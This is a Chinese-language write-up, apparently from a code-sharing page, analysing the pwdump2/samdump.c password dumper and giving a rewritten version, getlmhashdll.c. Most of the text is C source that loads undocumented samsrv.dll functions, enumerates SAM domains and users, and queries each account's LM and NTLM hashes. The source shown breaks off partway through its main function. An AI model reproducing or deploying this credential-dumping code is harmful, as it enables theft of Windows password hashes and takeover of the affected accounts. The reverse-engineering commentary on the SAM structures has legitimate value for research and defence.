📄 pwdump2samdump.c浅析与改进.txt
字号:
☆ pwdump2/samdump.c浅析与改进
samdump.c调用LsaQueryInformationPolicy()获取主机SID,未调用LsaFreeMemory()
释放内存,造成lsass.exe进程空间的内存泄漏。此外,需要引入advapi32.lib。
samdump.c中有一个RegCloseKey()操作,可能最初直接读取注册表,后因LM Hash、
NTLM Hash加密存放,才改用samsrv.dll引出的未公开(文档化)函数。
我重写了pwdump2,主要是配合前段时间samsrv.dll的逆向工程,将一些猜测性结论
加以验证,或推翻或肯定。参getlmhashdll.c源代码,将整个流程减化、抽象一下:
--------------------------------------------------------------------------
SamIConnect
SamrEnumerateDomainsInSamServer
SamrLookupDomainInSamServer
SamrOpenDomain
SamrEnumerateUsersInDomain
SamrOpenUser
SamrQueryInformationUser
SamIFree_SAMPR_USER_INFO_BUFFER
SamrCloseHandle
SamIFree_SAMPR_ENUMERATION_BUFFER
SamrCloseHandle
LocalFree
SamIFree_SAMPR_ENUMERATION_BUFFER
SamrCloseHandle
--------------------------------------------------------------------------
SamrEnumerateDomainsInSamServer、SamrLookupDomainInSamServer是Todd Sabin未
曾用到的samsrv.dll引出函数,用以代替LsaQueryInformationPolicy,其实我演示
的这个方法才是正经的SAM操作方法。我的意思是,要用未文档化的函数,就都用好
了。
使用LsaQueryInformationPolicy的话,就不必使用SamrEnumerateUsersInDomain,
理念换成"尽量使用文档化的函数",用NetUserEnum枚举帐号。
相比samdump.c,没有其它改进,Todd Sabin已经完成了必要的Hacking。
--------------------------------------------------------------------------
/*
* (C) Todd Sabin 1997,1998,2000 All rights reserved.
* -----------------------------------------------------------------------
* Rewrite : scz <scz@nsfocus.com>
* : http://www.nsfocus.com
* Version : 1.10
* Compile : For x86/EWindows XP SP1 & VC 7
* : cl getlmhashdll.c /nologo /Os /G6 /W3 /D "WIN32" /D "NDEBUG" /LD /link /RELEASE
* :
* Create : 2003-12-29 21:42
* Modify : 2004-01-04 17:26
* -----------------------------------------------------------------------
* The only thing they can't take from us are our minds. !H
*/
/************************************************************************
* *
* Head File *
* *
************************************************************************/
/*
* #define _WIN32_WINNT 0x0501
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
/*
* for _vsnprintf()
*/
#include <stdarg.h>
#include <windows.h>
/************************************************************************
* *
* Macro *
* *
************************************************************************/
#pragma comment( linker, "/INCREMENTAL:NO" )
#pragma comment( lib, "kernel32.lib" )
#define VERSION "1.10"
/*
* you'll find a list of NTSTATUS status codes in the DDK header
* ntstatus.h (\WINDDK\2600.1106\inc\ddk\wxp\)
*/
typedef LONG NTSTATUS;
#define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)
#define STATUS_MORE_ENTRIES ((NTSTATUS)0x00000105L)
#define SamUserOWFPasswordInformation 0x12
#pragma pack( push, 1 )
/*
* ntdef.h
*/
typedef struct _UNICODE_STRING
{
USHORT Length; // +0x000
USHORT MaximumLength; // +0x002
PWSTR Buffer; // +0x004
// +0x008
} UNICODE_STRING, *PUNICODE_STRING;
/*
* !!!
* from Luke Kenneth Casson Leighton
*/
typedef struct _SAM_DOMAIN_USER
{
DWORD userrid; // +0x000
UNICODE_STRING username; // +0x004,这是一个结构,而非结构指针
// +0x00c,该结构总共占12字节
} SAM_DOMAIN_USER, *PSAM_DOMAIN_USER;
/*
* !!!
* (C) Todd Sabin 1997,1998,2000 All rights reserved.
*/
typedef struct _SAM_DOMAIN_USER_ENUMERATION
{
DWORD DomainUserCount; // +0x000,数组元素个数
PSAM_DOMAIN_USER DomainUser; // +0x004,动态分配空间的结构数组
// +0x008,后面还有没有成员,目前看不出来
/*
* ... ...
*/
} SAM_DOMAIN_USER_ENUMERATION, *PSAM_DOMAIN_USER_ENUMERATION, **PPSAM_DOMAIN_USER_ENUMERATION;
/*
* 自己Hacking得到的结构,不可靠
*/
typedef struct _SAM_USER_OWF_PASSWORD_INFORMATION // Information Class 0x12
{
unsigned char NTLMHash[16]; // +0x000,16字节的NTLM Hash
unsigned char LMHash[16]; // +0x010,16字节的LM Hash
unsigned short int Unknown_020; // +0x020,参samsrv!SampGetCurrentAdminPassword()
unsigned char Unknown_022; // +0x022
// +0x023
} SAM_USER_OWF_PASSWORD_INFORMATION, *PSAM_USER_OWF_PASSWORD_INFORMATION;
typedef struct _SAM_SERVER_DOMAIN
{
DWORD unused; // +0x000,未使用,总为0(猜测)
UNICODE_STRING domainname; // +0x004,这是一个结构,而非结构指针
// +0x00c,该结构总共占12字节
} SAM_SERVER_DOMAIN, *PSAM_SERVER_DOMAIN;
typedef struct _SAM_DOMAIN_ENUMERATION
{
DWORD ServerDomainCount; // +0x000,数组元素个数
PSAM_SERVER_DOMAIN ServerDomain; // +0x004,动态分配空间的结构数组
// +0x008,后面还有没有成员,目前看不出来
/*
* ... ...
*/
} SAM_SERVER_DOMAIN_ENUMERATION, *PSAM_SERVER_DOMAIN_ENUMERATION, **PPSAM_SERVER_DOMAIN_ENUMERATION;
#pragma pack( pop )
/*
* 这些Undocumented Win32 API由samsrv.dll引出(export)
*/
typedef NTSTATUS ( WINAPI *SAMICONNECT )
(
DWORD Unknown_0, // 意义不明,调用时一般为0
PHANDLE pSamHandle, // [out]参数,是指向HANDLE的指针,不是HANDLE
DWORD AccessMask, // Access Mask
DWORD Unknown_1 // 意义不明,调用时一般为1
);
typedef NTSTATUS ( WINAPI *SAMROPENDOMAIN )
(
HANDLE SamHandle, // 源自sam connect操作
DWORD AccessMask, // Access Mask
PSID DomainSid, // 这个域不是通常所说NT域
PHANDLE pDomainHandle // [out]参数,是指向HANDLE的指针,不是HANDLE
);
typedef NTSTATUS ( WINAPI *SAMROPENUSER )
(
HANDLE DomainHandle, // 源自sam open domain操作
DWORD AccessMask, // Access Mask
DWORD Rid, // 比如500,0x1F4,Administrator
PHANDLE pUserHandle // [out]参数,是指向HANDLE的指针,不是HANDLE
);
typedef NTSTATUS ( WINAPI *SAMRQUERYINFORMATIONUSER )
(
HANDLE UserHandle, // 源自sam open user操作
DWORD InfoClass, // 其实是SAM_USER_INFORMATION_CLASS枚举型,为
// 了减少编译难度,换成DWORD型
PVOID UserInfo // 随InfoClass不同,对应不同的结构
);
typedef VOID ( WINAPI *SAMIFREE_SAMPR_USER_INFO_BUFFER )
(
PVOID UserInfo, // 随InfoClass不同,对应不同的结构
DWORD InfoClass // 其实是SAM_USER_INFORMATION_CLASS枚举型,为
// 了减少编译难度,换成DWORD型
);
typedef NTSTATUS ( WINAPI *SAMRCLOSEHANDLE )
(
PHANDLE pHandle // 可以关闭各种sam操作相关的句柄
// 是指向HANDLE的指针,不是HANDLE
);
typedef NTSTATUS ( WINAPI *SAMRENUMERATEUSERSINDOMAIN )
(
HANDLE DomainHandle, // 源自sam open domain操作
PHANDLE pEnumerationHandle, // [in/out]参数,Resume Handle
// 是指向HANDLE的指针,不是HANDLE
DWORD AccessMask, // filter,Access Mask
// 如欲枚举所有帐号,指定0
PPSAM_DOMAIN_USER_ENUMERATION pDomainUserEnumeration, // [out]参数
DWORD PrefMaxSize, // 意义未明,似乎对应Pref MaxSize
// 可以指定成0x0000FFFF
PDWORD pUserCount // [out]参数,枚举出的帐号数目
);
typedef VOID ( WINAPI *SAMIFREE_SAMPR_ENUMERATION_BUFFER )
(
PVOID EnumerationBuf // 其实是PSAM_ENUMERATION_BUFFER
// 调用时可能传PSAM_DOMAIN_USER_ENUMERATION
// 或者传PSAM_SERVER_DOMAIN_ENUMERATION
);
typedef NTSTATUS ( WINAPI *SAMRENUMERATEDOMAINSINSAMSERVER )
(
HANDLE SamHandle, // 源自sam connect操作
PHANDLE pEnumerationHandle, // [in/out]参数,Resume Handle
// 是指向HANDLE的指针,不是HANDLE
PPSAM_SERVER_DOMAIN_ENUMERATION pServerDomainEnumeration, // [out]参数
DWORD PrefMaxSize, // 意义未明,似乎对应Pref MaxSize
// 应该也可以指定成0x0000FFFF
PDWORD pDomainCount // [out]参数,枚举出的Domain数目
);
typedef NTSTATUS ( WINAPI *SAMRLOOKUPDOMAININSAMSERVER )
(
HANDLE SamHandle, // 源自sam connect操作
PUNICODE_STRING DomainName, //
PSID *pDomainSid // [out]参数,用LocalFree()释放
);
/*
* 这些Native API由ntdll.dll引出(export)
*/
typedef ULONG ( __stdcall *RTLNTSTATUSTODOSERROR )
(
IN NTSTATUS status
);
/************************************************************************
* *
* Function Prototype *
* *
************************************************************************/
static void getlmhash ( void );
static BOOL LocateNtdllEntry ( void );
static BOOL LocateSamsrvEntry ( void );
static void PrintHash ( unsigned char *hash );
static void PrintUnicodeString ( PUNICODE_STRING us );
static void PrintWin32ErrorCUI ( char *message, DWORD dwMessageId );
static void PrintZwErrorCUI ( char *message, NTSTATUS status );
static int PrivatePrintf
(
HANDLE handle,
char *buf,
size_t count,
const char *format,
...
);
__declspec(dllexport)
DWORD __cdecl
getlmhashdll_main ( char *pipename );
/************************************************************************
* *
* Static Global Var *
* *
************************************************************************/
static HANDLE outfile = INVALID_HANDLE_VALUE;
static char *outbuf = NULL;
static size_t outbuflen = 0;
static HMODULE samsrv = NULL;
/*
* 由samsrv.dll引出的Undocumented Win32 API函数指针
*/
static SAMICONNECT SamIConnect = NULL;
static SAMROPENDOMAIN SamrOpenDomain = NULL;
static SAMROPENUSER SamrOpenUser = NULL;
static SAMRQUERYINFORMATIONUSER SamrQueryInformationUser = NULL;
static SAMIFREE_SAMPR_USER_INFO_BUFFER SamIFree_SAMPR_USER_INFO_BUFFER = NULL;
static SAMRCLOSEHANDLE SamrCloseHandle = NULL;
static SAMRENUMERATEUSERSINDOMAIN SamrEnumerateUsersInDomain = NULL;
static SAMIFREE_SAMPR_ENUMERATION_BUFFER SamIFree_SAMPR_ENUMERATION_BUFFER = NULL;
static SAMRENUMERATEDOMAINSINSAMSERVER SamrEnumerateDomainsInSamServer = NULL;
static SAMRLOOKUPDOMAININSAMSERVER SamrLookupDomainInSamServer = NULL;
/*
* 由ntdll.dll引出的Native API函数指针
*/
static RTLNTSTATUSTODOSERROR RtlNtStatusToDosError = NULL;
/************************************************************************/
static void getlmhash ( void )
{
NTSTATUS status;
HANDLE SamHandle = NULL,
EnumerationHandle = NULL,
DomainHandle = NULL,
UserHandle = NULL;
PSAM_SERVER_DOMAIN_ENUMERATION ServerDomainEnumeration = NULL;
DWORD DomainCount = 0,
UserCount = 0,
Count = 0;
PSID DomainSid = NULL;
PSAM_DOMAIN_USER_ENUMERATION DomainUserEnumeration = NULL;
BOOL nomoredata = FALSE;
PSAM_USER_OWF_PASSWORD_INFORMATION UserOWFPasswordInfo = NULL;
status = SamIConnect
(
0, // 意义不明,调用时一般为0
&SamHandle, // [out]参数,是指向HANDLE的指针,不是HANDLE
0x10000030, // Access Mask
// Generic read
// Open domain
// Enum domains
1 // 意义不明,调用时一般为1
);
if ( !NT_SUCCESS( status ) )
{
PrintZwErrorCUI
(
"SamIConnect() failed",
status
);
goto getlmhash_exit;
}
status = SamrEnumerateDomainsInSamServer
(
SamHandle, // 源自sam connect操作
&EnumerationHandle, // [in/out]参数,Resume Handle
// 是指向HANDLE的指针,不是HANDLE
&ServerDomainEnumeration, // [out]参数
0x0000FFFF, // 意义未明,似乎对应Pref MaxSize
// 应该也可以指定成0x0000FFFF
&DomainCount // [out]参数,枚举出的Domain数目
);
if ( !NT_SUCCESS( status ) )
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -